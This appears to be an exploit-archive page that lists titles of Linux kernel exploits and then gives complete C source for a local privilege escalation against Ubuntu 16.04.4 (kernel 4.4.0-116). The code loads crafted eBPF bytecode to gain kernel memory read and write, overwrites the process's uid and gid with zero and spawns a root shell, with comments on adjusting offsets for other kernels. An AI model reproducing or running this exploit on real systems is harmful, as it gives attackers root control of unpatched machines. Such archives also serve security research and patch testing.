
9 changes to exploits/shellcodes Linux 2.6.37-rc1 - serial_core TIOCGICOUNT Leak Linux Kenel 2.6.37-rc1 - serial_core TIOCGICOUNT Leak Linux 2.6.36 IGMP - Remote Denial of Service Linux Kernel 2.6.36 IGMP - Remote Denial of Service Linux - SELinux W+X Protection Bypass via AIO Linux SELinux - W+X Protection Bypass via AIO Linux group_info refcounter - Overflow Memory Corruption Linux Kernel - 'group_info' refcounter Overflow Memory Corruption Linux io_submit L2TP sendmsg - Integer Overflow Linux Kernel - io_submit L2TP sendmsg Integer Overflow Linux (x86) - Disable ASLR by Setting the RLIMIT_STACK Resource to Unlimited Linux Kernel (x86) - Disable ASLR by Setting the RLIMIT_STACK Resource to Unlimited Linux ARM/ARM64 - 'perf_event_open()' Arbitrary Memory Read Linux Kernel (ARM/ARM64) - 'perf_event_open()' Arbitrary Memory Read Linux - 'mincore()' Uninitialized Kernel Heap Page Disclosure Linux Kernel - 'mincore()' Uninitialized Kernel Heap Page Disclosure Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (1) Linux Kernel < 4.5.1 - Off-By-One (PoC) Linux Kernel - 'mincore()' Heap Page Disclosure (PoC) Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2) Linux libc 5.3.12 / RedHat Linux 4.0 / Slackware Linux 3.1 - libc NLSPATH Linux libc 5.3.12 (RedHat Linux 4.0 / Slackware Linux 3.1) - libc NLSPATH Linux libc 5.3.12/5.4 / RedHat Linux 4.0 - 'vsyslog()' Local Buffer Overflow Linux libc 5.3.12/5.4 (RedHat Linux 4.0) - 'vsyslog()' Local Buffer Overflow Linux 6.1/6.2/7.0/7.1 Man Page - Source Buffer Overflow Linux Man Page 6.1/6.2/7.0/7.1- Source Buffer Overflow Linux VServer Project 1.2x - CHRoot Breakout Linux VServer Project 1.2x - Chroot Breakout Linux espfix64 - Nested NMIs Interrupting Privilege Escalation Linux (x86) - Memory Sinkhole Privilege Escalation Linux Kernel - 'espfix64' Nested NMIs Interrupting Privilege Escalation Linux Kernel (x86) - Memory Sinkhole Privilege Escalation Linux 3.17 - 'Python ctypes and memfd_create' noexec File Security Bypass Linux Kernel 3.17 - 'Python ctypes and memfd_create' noexec File Security Bypass Linux - 'ecryptfs' '/proc/$pid/environ' Local Privilege Escalation Linux Kernel - 'ecryptfs' '/proc/$pid/environ' Local Privilege Escalation Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation Huawei Mate 7 - '/dev/hifi_misc' Privilege Escalation
247 lines
No EOL
5.9 KiB
C
247 lines
No EOL
5.9 KiB
C
/*
|
|
* Ubuntu 16.04.4 kernel priv esc
|
|
*
|
|
* all credits to @bleidl
|
|
* - vnik
|
|
*/
|
|
|
|
// Tested on:
|
|
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
|
|
// if different kernel adjust CRED offset + check kernel stack size
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <string.h>
|
|
#include <linux/bpf.h>
|
|
#include <linux/unistd.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/un.h>
|
|
#include <sys/stat.h>
|
|
#include <stdint.h>
|
|
|
|
#define PHYS_OFFSET 0xffff880000000000
|
|
#define CRED_OFFSET 0x5f8
|
|
#define UID_OFFSET 4
|
|
#define LOG_BUF_SIZE 65536
|
|
#define PROGSIZE 328
|
|
|
|
int sockets[2];
|
|
int mapfd, progfd;
|
|
|
|
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
|
|
"\x55\x09\x02\x00\xff\xff\xff\xff"
|
|
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x18\x19\x00\x00\x03\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
|
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
|
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
|
|
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
|
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x79\x06\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
|
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
|
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
|
|
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
|
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x79\x07\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
|
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
|
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
|
|
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
|
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x79\x08\x00\x00\x00\x00\x00\x00"
|
|
"\xbf\x02\x00\x00\x00\x00\x00\x00"
|
|
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x55\x06\x03\x00\x00\x00\x00\x00"
|
|
"\x79\x73\x00\x00\x00\x00\x00\x00"
|
|
"\x7b\x32\x00\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x55\x06\x02\x00\x01\x00\x00\x00"
|
|
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x7b\x87\x00\x00\x00\x00\x00\x00"
|
|
"\x95\x00\x00\x00\x00\x00\x00\x00";
|
|
|
|
char bpf_log_buf[LOG_BUF_SIZE];
|
|
|
|
static int bpf_prog_load(enum bpf_prog_type prog_type,
|
|
const struct bpf_insn *insns, int prog_len,
|
|
const char *license, int kern_version) {
|
|
union bpf_attr attr = {
|
|
.prog_type = prog_type,
|
|
.insns = (__u64)insns,
|
|
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
|
.license = (__u64)license,
|
|
.log_buf = (__u64)bpf_log_buf,
|
|
.log_size = LOG_BUF_SIZE,
|
|
.log_level = 1,
|
|
};
|
|
|
|
attr.kern_version = kern_version;
|
|
|
|
bpf_log_buf[0] = 0;
|
|
|
|
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
|
}
|
|
|
|
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
|
int max_entries) {
|
|
union bpf_attr attr = {
|
|
.map_type = map_type,
|
|
.key_size = key_size,
|
|
.value_size = value_size,
|
|
.max_entries = max_entries
|
|
};
|
|
|
|
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
|
}
|
|
|
|
static int bpf_update_elem(uint64_t key, uint64_t value) {
|
|
union bpf_attr attr = {
|
|
.map_fd = mapfd,
|
|
.key = (__u64)&key,
|
|
.value = (__u64)&value,
|
|
.flags = 0,
|
|
};
|
|
|
|
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
|
}
|
|
|
|
static int bpf_lookup_elem(void *key, void *value) {
|
|
union bpf_attr attr = {
|
|
.map_fd = mapfd,
|
|
.key = (__u64)key,
|
|
.value = (__u64)value,
|
|
};
|
|
|
|
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
|
}
|
|
|
|
static void __exit(char *err) {
|
|
fprintf(stderr, "error: %s\n", err);
|
|
exit(-1);
|
|
}
|
|
|
|
static void prep(void) {
|
|
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
|
|
if (mapfd < 0)
|
|
__exit(strerror(errno));
|
|
|
|
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
|
|
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
|
|
|
|
if (progfd < 0)
|
|
__exit(strerror(errno));
|
|
|
|
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
|
|
__exit(strerror(errno));
|
|
|
|
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
|
|
__exit(strerror(errno));
|
|
}
|
|
|
|
static void writemsg(void) {
|
|
char buffer[64];
|
|
|
|
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
|
|
|
if (n < 0) {
|
|
perror("write");
|
|
return;
|
|
}
|
|
if (n != sizeof(buffer))
|
|
fprintf(stderr, "short write: %lu\n", n);
|
|
}
|
|
|
|
#define __update_elem(a, b, c) \
|
|
bpf_update_elem(0, (a)); \
|
|
bpf_update_elem(1, (b)); \
|
|
bpf_update_elem(2, (c)); \
|
|
writemsg();
|
|
|
|
static uint64_t get_value(int key) {
|
|
uint64_t value;
|
|
|
|
if (bpf_lookup_elem(&key, &value))
|
|
__exit(strerror(errno));
|
|
|
|
return value;
|
|
}
|
|
|
|
static uint64_t __get_fp(void) {
|
|
__update_elem(1, 0, 0);
|
|
|
|
return get_value(2);
|
|
}
|
|
|
|
static uint64_t __read(uint64_t addr) {
|
|
__update_elem(0, addr, 0);
|
|
|
|
return get_value(2);
|
|
}
|
|
|
|
static void __write(uint64_t addr, uint64_t val) {
|
|
__update_elem(2, addr, val);
|
|
}
|
|
|
|
static uint64_t get_sp(uint64_t addr) {
|
|
return addr & ~(0x4000 - 1);
|
|
}
|
|
|
|
static void pwn(void) {
|
|
uint64_t fp, sp, task_struct, credptr, uidptr;
|
|
|
|
fp = __get_fp();
|
|
if (fp < PHYS_OFFSET)
|
|
__exit("bogus fp");
|
|
|
|
sp = get_sp(fp);
|
|
if (sp < PHYS_OFFSET)
|
|
__exit("bogus sp");
|
|
|
|
task_struct = __read(sp);
|
|
|
|
if (task_struct < PHYS_OFFSET)
|
|
__exit("bogus task ptr");
|
|
|
|
printf("task_struct = %lx\n", task_struct);
|
|
|
|
credptr = __read(task_struct + CRED_OFFSET); // cred
|
|
|
|
if (credptr < PHYS_OFFSET)
|
|
__exit("bogus cred ptr");
|
|
|
|
uidptr = credptr + UID_OFFSET; // uid
|
|
if (uidptr < PHYS_OFFSET)
|
|
__exit("bogus uid ptr");
|
|
|
|
printf("uidptr = %lx\n", uidptr);
|
|
__write(uidptr, 0); // set both uid and gid to 0
|
|
|
|
if (getuid() == 0) {
|
|
printf("spawning root shell\n");
|
|
system("/bin/bash");
|
|
exit(0);
|
|
}
|
|
|
|
__exit("not vulnerable?");
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
prep();
|
|
pwn();
|
|
|
|
return 0;
|
|
} |